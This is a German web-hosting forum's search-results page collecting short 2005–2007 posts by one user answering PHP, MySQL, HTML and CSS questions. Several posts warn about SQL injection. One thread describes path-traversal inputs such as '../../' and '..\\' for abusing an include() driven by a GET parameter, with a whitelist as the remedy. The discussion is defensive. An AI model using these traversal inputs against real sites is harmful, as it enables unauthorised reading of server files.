WebWork Magazin - Webseiten erstellen lassen, Online Medien, html

Webhoster, Webhosting Provider und Domain registrieren

Home | Registrieren | Einloggen | Suchen | Aktuelles | GSL-Webservice | Suleitec Webhosting
Reparatur-Forum | Elektro forum | Ersatzteilshop Haushalt und Elektronik


Homepage und Webhosting-Forum

all rs ok

Forum Suchergebnisse

 Suche nach "" im Forum fr Homepage, Hosting und Webspace

Ip and more - Internet & Co
in Internet & Co am 08.02.2007 11:09 von subjective

Naja direkt nicht, aber es gibt Datenbanken/Dienste dafr. Die freien Varianten lsen die IP meist nur bis zum Land auf. Die Kommerziellen durchaus auch bis zum Provider. z.B. http://www.geolizer.de/...



Frames-Problem - bitte um Hilfe - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 14.09.2006 10:49 von subjective

Was fr ein Fehler wird denn angezeigt. Die JS-Konsole vom Firefox ist da relativ ausfhrlich und erleichtert so das Debuggen....



krieg sonderzeichen nicht raus - PHP & MySQL
in PHP & MySQL am 14.09.2006 10:45 von subjective

hmm aber ein urlencode zu machen - ich wei nicht. Hat du rausbekommen was fr Zeichen das waren?...



Session+Login - PHP & MySQL
in PHP & MySQL am 14.09.2006 10:39 von subjective

Ich sehe auf zwei Probleme mit dem Quellcode. Die String-Werte im SQL werden durch Backticks eingeschlossen - korrekt wren Hochkommata. Auerdem werden die Werte aus den POST-Formular direkt ohne Absicherung verwendet. Dies erlaubt eine Manipulation des SQL-Befehls. Hier wre die Nutzung von mysql_real_escape_string() angebracht....



Fehlerhafte Datenbank ersetzen? - PHP & MySQL
in PHP & MySQL am 10.04.2006 17:31 von subjective

Das kommt auf den Dump an, wenn du die entsprechenden Anweisungen (DROP TABLE) drin hast, kann der Dump auch die bestehenden Tabellen lschen. Sonst mut du das vorher manuell machen. Thomas...



Formularcheck ... - PHP & MySQL
in PHP & MySQL am 10.04.2006 17:29 von subjective

Die id solltest du natrlich nur hochsetzen, wenn die Eingeprfungen erfolgreich waren. Thomas...



Euere Meinung zu meinem Blog - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 06.01.2006 17:08 von subjective

Das HTML nicht als XML validiert werden kann, sollte klar sein. im Gegensatz zu XML (also auch XHTML) mssen bei HTML leere Tags nicht unbedingt geschlossen werden. Wenn du dann jedoch das HTML als XML validerst, hast du kein well-formed-XML und somit viele viele Fehlermeldungen....



Ausgabe LIMIT - PHP & MySQL
in PHP & MySQL am 02.01.2006 09:47 von subjective

Achtung im Codebeispiel sind die GET/POST-Werte nicht abgesichert worden. Um SQL-Injection zu vermeiden ist dies jedoch Pflicht....



Suche PHP-Lsung, um den aktuellen Pfad auf einer Seite anzuzeigen - PHP & MySQL
in PHP & MySQL am 23.12.2005 15:22 von subjective

Die extra Datei knnte allerdings eine PHP-Datei mit einer Arraydefinition sein: ...



Problem - PHP & MySQL
in PHP & MySQL am 21.12.2005 19:10 von subjective

Arbeite seriell, lese jeweils eine Zeile mit fgets() oder fgetcsv() ein, arbeite sie ab und lese die nchste. Nach der zweiten Zeile nimmst du eine Schleife fr den Rest....



OS Directory Delimiter - PHP & MySQL
in PHP & MySQL am 21.12.2005 19:07 von subjective

Die PHP-eigenen Funktionen (include, fopen, ...) knnen auch unter Windows alle mit / umgehen ja. Allerdings liefert zB dirname() unter Windows \\ und wenn man Shellbefehle ausfhren will, muss man das Trennzeichen auch beachten. Ansonsten arbeite ich generell mit /....



Kampagne: "Bist Du auch zu faul fr CSS?" - Buch zu gewinnen - Netztheke
in Netztheke am 20.12.2005 12:29 von subjective

Wenn ich berlege, wie viel Zeit ich immer darin stecke das die Seiten mit CSS auch im IE funktionieren und dennoch semantisch ok sind, wie oft ich mich ber Fehler rgere (Das lustigste war mal ein 100% Eingabefeld das bei jedem Mouseover ein paar Pixel lnger wurde, bis dann irgendwann der Scrollbalken auftauchte). Wenn ich an die ganzen fehlenden Funktionen des IE (display: table, :before, : after, ...) denke. Dann finde ich die Kampange gelinde gesagt berflssig. Der tolle weit verbreitete Browser, sollte endlich CSS korrekt implementieren. Das heit allerdings nicht, das ich meinen Anwendern berhaupt vorschreiben wrde, welchen Browser sie zu benutzen haben....



[MySQL] Zeilen in Gruppen mit Kategorie ausgeben - PHP & MySQL
in PHP & MySQL am 20.12.2005 10:35 von subjective

Mit Sicherheit nicht. GROUP BY erstellt Zusammenfassungen von Daten - du willst aber alle. Von daher wre es nicht logisch. Mit einem JOIN wre es wohl auch nicht getan, da du wohl nur ein Tabelle hast. Die Ausgabe ist Sache von PHP. 1) Abfragen der Daten sortiert nach stage und name 2a) beim direkten Ausgeben letzten stage merken und bei nderung Stage-berschrift ausgeben. 2b) ein verschachteltes Array aufbauen nach den Schema $data[$row[\'stage\']][] = $row ...



MySQL5 - Problem in der neuen Version - PHP & MySQL
in PHP & MySQL am 19.12.2005 11:17 von subjective

Nein auch unter MySQL 4.x wre es falsch. Da dort immer 0 eingesetzt wird (durch die Typkonvertierung) und nicht der Standardwert. Bei dir klappte es nur zufllig gerade weil dieser Wert dem Standardwert entsprach....



MySQL5 - Problem in der neuen Version - PHP & MySQL
in PHP & MySQL am 16.12.2005 11:02 von subjective

Und nochmal - der Fehler leigt nicht in der Tabellendefinition, sondern im SQL mit dem du das Insert machst. Dort mu entweder eine Nummer (optional in Quotes) oder NULL hin. Wenn du mchtest, das der Standardwert verwendet wird, mu da NULL hin oder das Feld gar nicht angegeben werden. Im SQL-Standard ist strenge Typisierung vorgesehen. Wenn du zB mal PostgreSQL einsetzt, bemerkt man das recht schnell *g*. MySQL 5 behebt also eigentlich nur einen Mangel. Allerdings sollte das auch umschaltbar sein, wenn ich mich nicht irre. ...



MySQL5 - Problem in der neuen Version - PHP & MySQL
in PHP & MySQL am 15.12.2005 16:09 von subjective

Der SQL-Code ist fehlerhaft nicht die Attribute. \'\' ist ein leerer String - mit automatischem Typecasting wird daraus 0 - also das gleiche wie der Defaultwert (es wird _nicht_ der Defaultwert verwendet). Korrekterweise mu dort also nicht \'\', nicht \'0\' sondern NULL stehen um den Defaultwert zu nutzen....



MySQL5 - Problem in der neuen Version - PHP & MySQL
in PHP & MySQL am 15.12.2005 15:57 von subjective

Natrlich sind die Werte in $_POST Strings - sie sind immer Strings. Ich knnte beispielweise einen zweiten Datensatz einfgen, in dem ich das Feld beende. Interessanter wird es bei SELECTs - ich knnte da dann alle Daten aus der DB ziehen. Google halt einfach mal nach \SQL-Injection\. ...



MySQL5 - Problem in der neuen Version - PHP & MySQL
in PHP & MySQL am 15.12.2005 12:16 von subjective

Der Standardwert wird bei \NOT NULL\ Feldern genutzt, wenn man fr sie als Wert NULL angibt. Er hat also sehr wohl eine Wirkung und Nutzen. Das Einschleusen von SQL-Code ist mglich, da du die Werte aus dem Formular nicht absicherst. Ich kann also einfach die Formularwerte so manipulieren, so das ein mir genehmes SQL erzeugt wird. Mit Dateien hat dies nichts zu tun....



lschen mit radio Button - PHP & MySQL
in PHP & MySQL am 15.12.2005 12:08 von subjective

isset() ist schon richtig. Man mu auch prfen ob die Variablen berhaupt gesetzt sind. Die andere Fehlermeldung kommt von den fehlenden Quotes um die Arrayschlssel bei $row - das sind nmlich Stringkonstanten. Also genau wie auch das \'loeschen\' in $_POST. ...



lschen mit radio Button - PHP & MySQL
in PHP & MySQL am 14.12.2005 17:26 von subjective

Der Fehler liegt bei: $kid = $_POST[\'delete[]\']; Gibt man im HTML Feldnamen in der Form [b]delete[][/b] an, erzeugt PHP daraus ein Array. Da du nun in einer Schleife die Checkboxen ausgibst (es sind keine Radios *btw*), kannst du auf der HTML-Seite auch mehrere auswhlen, welche der Browser dann alle bermittelt. Im Umkehrschlu muss man also auch in PHP mit einem Array arbeiten. ...



MySQL5 - Problem in der neuen Version - PHP & MySQL
in PHP & MySQL am 13.12.2005 12:49 von subjective

Es ist kein Fehler sondern korrekt. In SQL knnen Zahlen zwar in Single-Quotes stehen (wie auch Strings), dennoch ist Standard-SQL eigentlich typensicher. Man mu also \'0\' schreiben. ltere MySQL-Versionen machen ein automatisches Typecasting. Du solltest mit (int) sicherstellen, das die Variable eine Ganzzahl ist. Bei dir fehlt auerdem vllig das Absichern der Formularwerte. Ein Angreifer kann daher beliebiges SQL bei dir einschleusen. Nutze mysql_real_escape_string(). Auch kommen Strings (wie die Arrayschlssel) immer in Quotes. Unterbrich den String oder kennzeichne komplexe Variablen innerhalb des Strings mit {}....



mysql: spallte mit string vergleichen - PHP & MySQL
in PHP & MySQL am 13.12.2005 12:33 von subjective

Nein er geht auch vorher und auch in div. anderen DBs...



css + text in tabellen - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 05.12.2005 14:37 von subjective

Du mut das td innerhalb des tr formatieren (Zeile 1 in deinem Beispiel) - ein tr kann kein margin haben....



3 Spalten Layout - aussen fixe Breite, mitte variabel - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 05.12.2005 14:35 von subjective

Das ist richtig IE kennt min-width bzw. max-width leider nicht. Die einzige Mglichkeit fr min-width ist daher ein Element im inneren Bereich mit dieser Breite. Auch fehlt ihm die Option display: table; Bei gleich hohen Spalten kommt es daher sehr auf das Layout an. Haben Rechts und Links nur andere Hintergrundfarben, kann man diese als Kanten des mittleren Teiles definieren. Ist eine der beiden Spalten spezielle formatiert, hilft dort ein Hintergrundbild. Bei bestimmten Layouts kann es allerdings sein, das man um eine Tabelle nicht drumherumkommt. :-(...



auto_increment mit php - PHP & MySQL
in PHP & MySQL am 02.12.2005 11:05 von subjective

Dann mut du dir halt vor dem Einfgen (wenn du die Daten fr den Neuen Kunden schon hast) die grte ID holen (Aggregatfunktion MAX()), erhhen und dann den neuen Kunden einfgen. Wobei das nicht ganz so gut wie AI-Felder ist, da in diesem Fall eine ID neu vergeben werden kann, wenn der letzte Kunde gelscht wurde. Besser wre in jedem Fall die MySQL-Funktionalitt zu nutzen....



html validieren - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 01.12.2005 15:18 von subjective

Ganz simpel - & wird als Einleitung fr Sonderzeichencodes wie © genutzt und muss daher selbst als & geschreiben werden. (In HTML nicht in JS.) Bei dem letzten Fehler mault er das kein Blockelement um den Inhalt ist, sondern nur ein Inline-Element ()....



input berprfen ohne submit - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 30.11.2005 16:21 von subjective

PHP gibt nur Text aus - du mut also Text ausgeben, welcher vom Browser als Javascript und als Variablendefinition/-zuweisung verstanden wird. ...



mysql: spallte mit string vergleichen - PHP & MySQL
in PHP & MySQL am 30.11.2005 15:34 von subjective

Es gibt den Operator IN und das SQL sieht auch korrekt aus. Welcher Fehler wird denn gemeldet? Das ist dann allerdings kein String (Text) sondern eine Liste von Werten, welche das Feld enthalten darf/soll....



input berprfen ohne submit - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 30.11.2005 15:06 von subjective

Das Event \onchange\ wird ausgelst wenn sich der Inhalt eines Feldes ndert. Bei Eingabefeldern jedoch erst, wenn der Fokus das Feld verlt....



pulldown menu mit php - PHP & MySQL
in PHP & MySQL am 30.11.2005 10:42 von subjective

Kompliziert ist ein solches Konstrukt nicht wirklich. Allerdings sieht der Quelltext aus dem ersten Beispiel kaputt aus. Es sind mehrere \value\s mit dem gleichen Wert belegt und als \selected\ markiert. Eventuell solltest du da noch etwas aufrumen. :-)...



.html anstatt .php - Server-Administration und Verwaltung
in Server-Administration und Verwaltung am 30.11.2005 10:38 von subjective

Im Replace-String mut du die Punkte nicht escapen, da sie keine Sonderbedeutung mehr haben....



Text vom Link erst bei hover anzeigen - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 25.11.2005 21:00 von subjective

Ich wrde eher die Schriftfarbe auf die Hintergrundfarbe schalten und per hover ndern - der IE kann dies allerdings nur fr Links....



www.twilight-species.de - Bitte um Bewertung - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 22.11.2005 18:18 von subjective

Guck mal . *eg*...



www.twilight-species.de - Bitte um Bewertung - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 22.11.2005 12:08 von subjective

Womit mir mal wieder bei der Grundsatzdiskussion wren. Es macht durchaus auch aus Designsicht einen groen Unterschied. Hast du schon mal mit absolut/relativ positionierten Layern im CSS gearbeitet? Damit lassen sich sehr interessante Layouts recht einfach umsetzen. Punkt zwei ist ebendso falsch. Man setzt die Seite ja nicht fr sich um, sondern fr die Besucher. Es ist also von der Zielgruppe abhngig, welche Techniken man verwendet und keine Entscheidung nach eigenen Gutdnken. Ich bin nicht generell gegen Tabellen (leider untersttzen nicht alle Browser \display: table;\). Man sollte sie jedoch mglichst vermeiden. Die gesetzlichen Vorschriften fr fffentliche Webseiten und die Bestrebungen des W3C haben gute Grnde. Nunja man sollte eventuell nicht sagen \ihh Tabellen\ sondern \upps fehlende Semantik\. Eine konsequente Trennung von Layout und Inhalt, verkleinert den Quellcode enorm (externes CSS muss nur einmal geladen werden), Designanpassungen werden zentraler - was mgliche Flchtigkeitsfehler verringert und der Inhalt wird einfacher erkennbar auch wenn der Client/Besucher nicht visuell oder nicht nur visuell darauf zugreift. Bedenkt das die Sprache [b]Hypertext[/b] Markup Language heit. Der Text und die Beziehungen zwischen verschiedenen Textteilen sollten im Vordergrund stehen. Noch ein wenig zur Seite damit der Beitrag nicht vllig OT ist. :-) Ich finde das Layout sehr schn. Die Pixelgrafiken der Spielelemente sind einfach Klasse. Allerdings wrde ich das uere Layout mehr an das Layout der Spielelemente anpassen. Beide Layouts sind toll, aber irgendwie streiten sie sich um die Seite, da sie recht gegenstzlich sind....



css: heller Text auf dunklem Foto nicht gedruckt - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 21.11.2005 19:42 von subjective

Browser haben ja die Option Hintergrundbilder und Farben nicht mitzudrucken. Manchmal sind sie sie so schlau beim Entfernen der Hintergrundfarbe die Vordergrundfarbe zu ndern. Dadurch wre die Farbnderung erklrbar. Ich wrde einfach ein seperates Druck-CSS definieren....



Parameter bergabe in JS - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 21.11.2005 10:34 von subjective

Die Erklrung - der bergebene Parameter von setTimeout wird im spter beim Aufruf als Quellcode interpretiert. Dieser Aufruf erfolgt jedoch nicht mehr innerhalb deiner Funktion - daher ist \id\ dann nicht mehr bekannt. Du kannst jedoch den Inhalt von \id\ in deinen Quellcode-String einsetzen. Dann stehen zum Zeitpunkt des eigentlichen Aufrufes alle Informationen zu Verfgung....



welche grssen angaben in css verwenden?` - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 16.11.2005 16:57 von subjective

Wir haben jetzt in einem Projekt komplett em verwendet. Die Tester reagieren berrascht und erfreut. Das Seitenlayout bleibt halt beim Skalieren stabiler....



Prog fr Versionskontrolle - Internet Online Speicherdienste
in Internet Online Speicherdienste am 16.11.2005 16:41 von subjective

Subversion halt oder CVS, die Tortoise*-Clients fr die beiden sind nett....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 16.11.2005 11:41 von subjective

Ich habe die Erfahrung gemacht das eine \hbsche\ URL sowohl fr Kunden wie auch Besucher sehr wichtig ist. Wir haben da bei unserem CMS inzwischen recht viel Arbeit investiert und die Kunden honorieren sie....



welche grssen angaben in css verwenden?` - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 16.11.2005 11:36 von subjective

Am nutzerfreundlichsten ist em. Damit beziehen sich die Angaben auf ein Grundma. Man kann damit die ganze Seite skalierbar machen (mit Ausnahme der Grafiken natrlich). Bei px gibt es ein kleines Problem. Ein groer Browser einer bekannten Firma kann dann die Seite nicht mehr ber die Einstellung der Schriftgre skalieren. Auer Diskussion steht pt - es ist wirklich nur fr Druckausgaben geeignet, da die Darstellungsgre durch die unterschiedlichen virtuellen Auflsungen der Desktops zu stark variiert. ...



Binr-Daten von Upload in DB speichern - PHP & MySQL
in PHP & MySQL am 15.11.2005 16:23 von subjective

Ich hatte das ja schon darauf eingeschrnkt, das Upload- und Seitenserver identisch wren. Du hast natrlich recht. Bei einem solchen verteilten System, wie du es beschreibst, macht es sehr viel Sinn den zweiten Teil der Strecke FTP zu nutzen....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 15.11.2005 16:19 von subjective

Das ist so nicht ganz richtig. Solange er nur rumklickt ist die URL relativ egal. Sobald er die URL weitergibt, oder sich daran \erinnern\ mchte, sieht die Sache schon ganz anders aus....



Besucher Counter, was fehlt noch? - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 15.11.2005 11:05 von subjective

Statistiken sind ein recht ambitioniertes Projekt. Werden auch schon eien Menge Infos angezeigt. 3 Kritikpunkte: 1. Hintergrundfarbe (hast du wohl nicht gesetzt, bei mir ist alles grau) 2. Frames weg 3. Warum sind die Unterpunkte im Men nicht anklickbar? Eine Zeitliche Aufschlsselung der Statistiken wre sehr sinnvoll. Ich mchte ja sehen wie sich die Zugriffe auf meine Webseite in den letzten Monaten/Wochen/Tagen entwickelt haben....



Post - PHP & MySQL
in PHP & MySQL am 15.11.2005 10:59 von subjective

Ich vermute du machst ein include auf http://... Damit spielt dein PHP Browser, ruft die fremde Seite ab und bettet die Ausgabe als PHP-Code ein. In 99,999 % der Flle bringt readfile() das gleiche Ergebnis. Die Seite wird ja schon auf dem Rechner erstellt, von dem sie abgerufen wird. Das Ergebnis (also das ausgegebene HTML) wird als PHP-Code ausgefhrt. Dort sind die Variablen dann vorhanden, nur eben keine Anweisungen mehr, die auf sie zugreifen wrden. include() sollte man daher immer auf lokale Dateien anwenden. Fr externe Seiten hat man Dateifunktionen wie readfile(), file_get_contents() und fopen()/fread(). Die Variablen werden dann wie im Browser auch per GET oder POST bermittelt....



Binr-Daten von Upload in DB speichern - PHP & MySQL
in PHP & MySQL am 15.11.2005 10:53 von subjective

Drei Varianten :-) 1. HTTP-Upload - Metadaten in die DB 2. HTTP-Upload - Alles in die DB 3. FTP-Upload - Sync in die DB Der erste Fall ist die \normale\ und wohl hufigste Variante. Einfach hochladen in ein bestimmtes Verzeichnis (mglichst auerhalb des Document-Root). Die zweite Variante ist bei verteilten Systemen denkbar, welche auf eine zentrale Datenbank zugreifen. Jedoch sollten die einzelnen Webserver die Bilder dann lokal cachen (im Dateisystem). Der letzte Fall spielt seinne Vorteil aus, wenn man den Upload nicht mehr nur ber den Browser erledigt. FTP ist deutlich schneller und kommt auch mit sehr groen Dateien zurecht. Die Vorteile kommen jedoch nur zum Tragen, wenn man einen speziellen Client nutzt. ...



Shell Scripting mit PHP / Wo gibts Infos? - Server-Administration und Verwaltung
in Server-Administration und Verwaltung am 15.11.2005 10:47 von subjective

Es ist recht sicher, da man die Shell-Scripte die vorgefertigten Aufgaben realisieren lt. Sowohl Shellscript, wie auch Webscript prfen dann die Werte. Sicherer ist jedoch eine Entkopplung der Vorgnge. Die Aufgaben werden in eine Datenbank eingetragen und alle paar Minuten guckt ein Shellscript nach ob da etwas drin ist, das getan werden muss....



Shell Scripting mit PHP / Wo gibts Infos? - Server-Administration und Verwaltung
in Server-Administration und Verwaltung am 14.11.2005 10:37 von subjective

Es gibt auch ein PHP fr die Kommandozeile - php-cli (PHP Command Line Interface). Bei Shell-Scripts geht es ja nun darum bestimmte Aufgaben an der Kommandozeile zu optimieren. Jedoch hat Nobbi eine falsche Vorstellung davon, was Shell-Scripting ist. Es geht eben um Script fr die Shell (Kommandozeile, Befehlszeile, Konsole, ...) und nicht um Weboberflchen zur Serveradministration. Eine Mglichkeit dafr ist jedoch der Aufruf vorgefertigter Shell-Scripte ber system/exec/... aus Weboberflchen heraus. Dabei kann man ber \sudo\ auch andere Rechte als die des Webservers nutzen....



Binr-Daten von Upload in DB speichern - PHP & MySQL
in PHP & MySQL am 14.11.2005 10:29 von subjective

Das laden auf den \FTP\ ist auch nur in Sonderfllen sinnvoll. Damit PHP Bilder auf einen FTP-SErver laden kann, mssen sie erstmal per HTTP-Upload auf den Rechner, auf welchem PHP luft. Wenn dieser mit dem Webseiten-Auslieferer identisch ist, mahct es wenig Sinn die Dateien noch mal ber FTP zu senden, da man sie auch direkt in den Zielpfad verschieben kann....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 11.11.2005 11:29 von subjective

Ich habe sehr wohl Includes. Jedoch keine [i]dynamsichen[/i] Includes, welche durch Parameter bestimmt werden. Bei mir holen sich die Inhaltsseiten (index.php, talks.php, ...) die zentralen Daten aus Includes (header, footer, men, ...). Also genau umgedreht. So lange man die Daten im Dateisystem ablegt, gibt es keinen Grund dieses nicht auch auszunutzen. Dies war fher auch auf der Weaverslave-Seite so, jetzt luft dort ein WebCMS. Dabei liegt die gesamte Logik (und keine Inhalte) in Klassen, welche nach Bedarf geladen werden - jedoch sind die Dateinamen der Includes fast immer fest im Code. Es gibt wenige Ausnahmen in denen der Dateiname des Includes eine Variable ist. In diesen Fllen wird der Inhalt der Variable jedoch nicht ber einen Parameter, sondern ber Daten auf dem Server bestimmt. So bestimmt die Datenbankkonfiguration, welche Datenbankklasse (mysql, pgsql, sqlite) geladen wird. Die zweite Ausnahme sind Plugins fr das CMS. hnlich wie bei deiner aktuellen Lsung wird hier eine Dateiliste erstellt. Sie landet dann jedoch in der Datenbank....



Windows - kompatible Betriebssysteme - Computer & Co - Hardware und Software
in Computer & Co - Hardware und Software am 10.11.2005 18:13 von subjective

Was verstehst du unter Kompatibilitt? 1) Sieht genauso aus, benimmt sich genauso, ... 2) Programme/Bibliotheken fr Windows laufen unter System X zu 1) Die Windowsversionen benehmen sich selbst recht unterschiedlich und nicht unbedingt sinnvoll. Auerdem spielen hier sachen wie Copyright und Patente *sik* mit rein. zu 2) Linux/Unix/BSD verfgen mit Wine ber eine Nachbildung der Windows-API, auf welcher recht viele Windows-Programme laufen - teilweise sogar Spiele. Einige Programme knnen DLLs von Windowsprogrammen einbetten....



Online Game Werbung - Netztheke
in Netztheke am 10.11.2005 10:30 von subjective

Irgendwie gehen mir diese stndigen Werbebeitrge fr Rollenspiel X in \Eure Seiten\ auf den Keks. Im speziellen, da die Poster anscheinend gar keine Kritik zu dieser Seite erwarten. Knnte man diese Beitrge eventuell in ein spezielles dafr gedachtes Forum verschieben oder gar lschen? Wie ist Eure Meinung dazu? Was sagen die Admins? ...



[gelst]klick counter - PHP & MySQL
in PHP & MySQL am 10.11.2005 10:24 von subjective

Es gibt fertige Scripte zur Verwaltung von Bannern. Diese zhlen natrlich auch mit....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 09.11.2005 15:15 von subjective

Ich hatte bereits gesagt das man ../ in der GET-Variable verwenden kann. Ob der Document-Root da mit rein gesetzt wird, ist vllig irrelevant. Zumindest auf einem Windows-Server (wenn nicht sogar auf jeder Art von Servern) wrde auch ..\\ funktionieren. Eventuell kann man das auch noch andere Zeichen aushebeln (ASCII 0 wre ein Kandidat). Ich hatte bisher noch keinen Grund alle Varianten auszutesten, da ich ein solches Konstrukt (include ber get-param) nie bauen wrde. *btw* Solltest du mal das Error-Reporting auf deinem Testserver auf E_ALL stellen....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 09.11.2005 10:36 von subjective

Es gibt bei jeder Art von Escaping/Absicherung die nur auf Zeichen gibt eine potentielle Mglichkeit sie zu umgehen. Daher ist die Whitelist eine deutlich bessere Idee. Soweit ich es jedoch sehe ist die aktuelle Lsung sicher. Es wird eine Liste der Dateien in einem bestimmten Verzeichnis aufgebaut. Nur wenn die Datei in diesem Array vorhanden ist, wird sie eingebunden. Elegant kann eine Lsung, welche GET-Param statt Dateinamen nutzt, nie sein....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 08.11.2005 17:01 von subjective

Fr die Strings (Arrayschlssel) fehlen die Quotes und es ist unsicher. Man kann nmlich einfach mit \../../\ aus dem Verzeichnis php rausgehen. Bei dieser Variante sollte die $_GET[\'func\']-Variable so behandelt werden, das nur der Teil ab dem letzten / genutzt wird. Besser ist jedoch ein Whitelist-Array mit allen erlauben Werten. dee123 baut dieses Array ja jetzt durch das einlesen des Verzeichnisses auf. Performancemig eventuell nicht gerade toll, aber dafr sicher....



PHP Windowsnamen - PHP & MySQL
in PHP & MySQL am 08.11.2005 16:57 von subjective

Falls du dir mal meine Antworten durchgelesen httest, wre dir aufgefallen das deine Aussage falsch ist. Der Browser darf nicht auf den Windowsnutzer zugrifen, er kann ihn demnach auch nicht senden. Der Domaincontroller im LAN und damit Programme auf diesem Rechner knnen jedoch IPs im LAN den angemeldeten Nutzern zuordnen (diese mssen sich nmlich ihr Profil dort abholen.) Luft der Webserver also auf dem Domaincontroller kann er sehr wohl auf diese Zuordnung zugreifen. Dies ist kein Hack sondern ein normales, erwnschtes Verhalten. ASP luft wie PHP auch serverseitig. Entsprechend wre die Herangehensweise hnlich. Stellt sich nur die Frage ob bereits das System/der Webserver die Zuordnung macht und als Umgebungsvariable bereitstellt oder ob man dies mittels COM/Console selbst erledigen mu. Ich vermute mal stark IIS stellt die Info direkt bereit. Mit dem Browser hat dies in keinem Fall etwas zu tun....



Schriftart - Layout - Webwork bis Print fr Webseiten
in Layout - Webwork bis Print fr Webseiten am 04.11.2005 17:39 von subjective

Guck mal ...



CSS-Eigenschaften mit Javascript ndern? - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 03.11.2005 15:00 von subjective

style.fontSize sollte gehen. Ich wrde jedoch nicht die Eigenschaften direkt, sondern die CSS-Klasse (myobj.className) ndern. Dann kann man im CSS einfach die paassenden Zustnde konfigurieren....



"Call to undefined function: imagecreatefromjpeg()" - PHP & MySQL
in PHP & MySQL am 03.11.2005 12:19 von subjective

Aber ohne JPEG-Support: \[\JPG Support\]=> bool(false)\...



Neuer Computer - Muss ich ALLES neu machen? - Computer & Co - Hardware und Software
in Computer & Co - Hardware und Software am 03.11.2005 10:16 von subjective

Man kann dies aber auch als Chance verstehen, den Rechner mal wieder aufzurumen. ;-)...



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 03.11.2005 10:16 von subjective

Wahrscheinlich denkst du zu kompliziert. :-)...



PHP Windowsnamen - PHP & MySQL
in PHP & MySQL am 02.11.2005 11:23 von subjective

Nein, denn das wre eine bse Sicherheitslcke. Flash darf so etwas nicht abfragen. Die bisher beschriebenen Varianten haben auch nichts mit dem Browser zu tun. Die Zuordnung IP/Windowsuser trifft der Rechner, auf welchem der Webserver installiert ist. Beim Aufruf einer Webseite erhlt er nur die IP und trifft dann die Zuordnung. Dazu muss dieser Rechner bereits ber eine Liste der IPs und angemeldeter Benutzer verfgen....



PHP Windowsnamen - PHP & MySQL
in PHP & MySQL am 31.10.2005 10:20 von subjective

Es kann durchaus sein, das bereits der Webserver diese Zuordnung macht und fr PHP den Wert bereitstellt. Es ist ja hnlich, wenn man PHP in Apache als Modul laufen lsst. Dann kann man den HTTP-User bekommen....



PHP Windowsnamen - PHP & MySQL
in PHP & MySQL am 29.10.2005 13:30 von subjective

Es geht unter bestimmten Vorraussetzungen (bei ASP ebendso). Ein Domaincontroller im LAN hat Informationen, welcher Benutzer an welchem Rechner (IP) angemeldet ist. Die IP hat PHP - fr die Abfrage des Beutzernamens mu man eventuell auf die Konsole (net) oder ein COM-Objekt zugreifen....



In einer Datenbank alle Felder nach einem Wort durchsuchen - PHP & MySQL
in PHP & MySQL am 28.10.2005 12:44 von subjective

MySQL kennt auch einen FULLTEXT-Index und zugehrig eine spezielle Abfragesyntax. Damit lassen sich auch REcht groe Textmengen annehmbar schnell durchsuchen. Die 50 Felder in einer Tabelle die gemeinsam durchsucht werden mssen, deuten brigens auf eine fehlende Normalisierung und somit auf ein fehlerhaftes DB-Layout hin....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 27.10.2005 15:19 von subjective

Wichtig ist das solche Werte grndlich geprft werden, bevor sie in einem include oder hnlichem Landen. Bei einen Include hilft eine Whitelist (ein Array mit den gltigen Werten). Fr andere Funktionen gibts es Escape-Funktionen (mysql_real_escape_string, escape_shell_args, ...) Bei intern genutzten Variablen (also alles was nicht $_GET, $_POST, ... ist), sollte der erste Zugriff immer eine Zuweisung sein. $myvar = 0;...



MySQL Spaltenwerte in Array schreiben - PHP & MySQL
in PHP & MySQL am 26.10.2005 18:20 von subjective

Dann mut du halt in einer Schleife die entspechenden Datenstze durchlaufen und das Feld \id\ abfragen. Die Werte ftterst du dann in eine Array-Variable deiner Wahl: $id_array[] = $row[\'id\'] ...



Fenster im Vordergrund erzwingen - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 26.10.2005 18:17 von subjective

Hier ist nicht die rede von Java sondern von Javascript. Das sind zwei vllig verschiedene Sachen....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 26.10.2005 18:11 von subjective

